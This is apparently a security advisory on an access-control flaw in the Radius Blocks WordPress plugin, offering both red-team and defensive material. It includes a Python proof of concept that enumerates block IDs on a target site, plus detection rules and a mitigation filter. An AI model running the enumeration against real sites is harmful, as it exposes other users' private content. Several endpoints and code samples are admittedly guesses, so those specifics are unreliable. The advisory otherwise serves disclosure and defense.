CVE-2025-64282

Executive Summary

CVE-2025-64282 is an Authorization Bypass Through User-Controlled Key vulnerability affecting the Radius Blocks WordPress plugin by RadiusTheme, up to version 2.2.1. This flaw allows an authenticated attacker (with low privileges) to manipulate a user-controlled key (likely a post ID, user ID, or similar parameter) to access or modify unauthorized resources. The vulnerability stems from improper access control checks, enabling exploitation of incorrectly configured security levels. With a CVSS score of 4.3 (Medium), the risk is elevated in multi-tenant WordPress environments or sites with sensitive data in custom post types. No public exploit code or patch is currently available, but the vulnerability is trivially exploitable via parameter tampering.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor for updates from RadiusTheme and consider temporary removal if the plugin is not critical. No known malicious packages have been identified, but the lack of a patch increases supply chain risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid WordPress user account (e.g., subscriber).
• User Interaction (UI): None (N) – No victim action needed.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): Low (L) – Limited unauthorized data access.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for data leakage in multi-user WordPress installations make this a priority for patching.

Deep Dive & Mechanics

The vulnerability lies in how Radius Blocks handles user-controlled keys (e.g., post_id, user_id, or block_id) in REST API endpoints or AJAX handlers. The plugin fails to validate that the authenticated user has permission to access the resource identified by the key. For example, a subscriber could enumerate private posts or other users' data by simply changing a numeric parameter.

Root Cause: The plugin uses the user-supplied key directly in database queries or data retrieval functions without verifying ownership or role-based access. This is a classic Insecure Direct Object Reference (IDOR) flaw.

Attack Vector: An attacker with a low-privilege account (e.g., subscriber) sends a crafted HTTP request to a vulnerable endpoint, modifying the key parameter to access resources belonging to other users or higher-privilege roles.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common IDOR fixes.

Vulnerable Code (PHP):

$post_id = $_GET['post_id'];
$post = get_post($post_id);
// No permission check
echo $post->post_content;

Patched Code (Hypothetical):

$post_id = intval($_GET['post_id']);
$post = get_post($post_id);
if ( ! current_user_can( 'edit_post', $post_id ) ) {
    wp_die( 'Unauthorized' );
}
echo $post->post_content;

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Radius Blocks <= 2.2.1 installed and active.
• A valid low-privilege user account (e.g., subscriber).

Exploitation Steps:

1. Log in as the low-privilege user and obtain a nonce or session cookie.
2. Identify a vulnerable endpoint (e.g., /wp-json/radiusblocks/v1/get-block or an AJAX action).
3. Send a crafted request with a modified key parameter:

   GET /wp-json/radiusblocks/v1/get-block?block_id=123 HTTP/1.1
   Host: target-site.com
   Cookie: wordpress_logged_in_xxx=...
   

4. Iterate through block IDs to enumerate private or restricted content.

Proof-of-Concept (Python):

import requests

target = "https://target-site.com"
endpoint = "/wp-json/radiusblocks/v1/get-block"
cookies = {"wordpress_logged_in_xxx": "your_session_cookie"}

for block_id in range(1, 100):
    r = requests.get(f"{target}{endpoint}?block_id={block_id}", cookies=cookies)
    if r.status_code == 200 and "unauthorized" not in r.text.lower():
        print(f"Accessible block {block_id}: {r.text[:200]}")

Blue Team

Detection:

• Monitor for sequential or rapid requests to plugin endpoints with varying numeric parameters.
• Alert on 200 responses to unauthorized resources (e.g., subscriber accessing admin-only data).

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri_path="/wp-json/radiusblocks/v1/*"
| stats count by src_ip, uri, status
| where status=200 AND count > 10

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-json/radiusblocks/v1/* or /wp-admin/admin-ajax.php?action=radiusblocks_* with sequential numeric parameters.
• Logs: WordPress debug logs showing get_post() or get_userdata() calls with unexpected IDs.
• File: Modified plugin files (if attacker uploads malicious code) – check file integrity.
• Behavior: Low-privilege users accessing content they should not see.

Detection Engineering

YARA Rule

rule CVE_2025_64282_RadiusBlocks_IDOR {
    meta:
        description = "Detects vulnerable Radius Blocks plugin files with IDOR"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64282"
    strings:
        $s1 = "get_post(" nocase
        $s2 = "get_userdata(" nocase
        $s3 = "\$_GET" nocase
        $s4 = "\$_POST" nocase
        $s5 = "current_user_can" nocase
    condition:
        all of ($s1,$s2,$s3,$s4) and not $s5
}

Sigma Rule

title: CVE-2025-64282 Radius Blocks IDOR Exploitation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-64282 via sequential parameter requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/wp-json/radiusblocks/v1/"
    condition: selection
falsepositives:
    - Legitimate plugin usage
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-64282 Radius Blocks IDOR Attempt";
    flow:to_server,established;
    content:"/wp-json/radiusblocks/v1/"; http_uri;
    pcre:"/\?block_id=\d+/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential for business operations.
2. Implement a Web Application Firewall (WAF) rule to block requests with sequential numeric parameters to plugin endpoints.
3. Restrict user roles – ensure only trusted users have accounts on the site.

Long-Term Fix:

• Apply vendor patch when released.
• If no patch is forthcoming, consider forking the plugin and adding proper authorization checks (e.g., current_user_can() or wp_verify_nonce()).
• Monitor the WordPress plugin repository for updates.

Workaround Code (Add to theme's functions.php):

add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
    if ( strpos( $request->get_route(), 'radiusblocks' ) !== false ) {
        $block_id = $request->get_param( 'block_id' );
        if ( $block_id && ! current_user_can( 'edit_post', $block_id ) ) {
            return new WP_Error( 'rest_forbidden', 'Unauthorized', array( 'status' => 403 ) );
        }
    }
    return $response;
}, 10, 3 );

Valters IT
Securing WordPress, One Plugin at a Time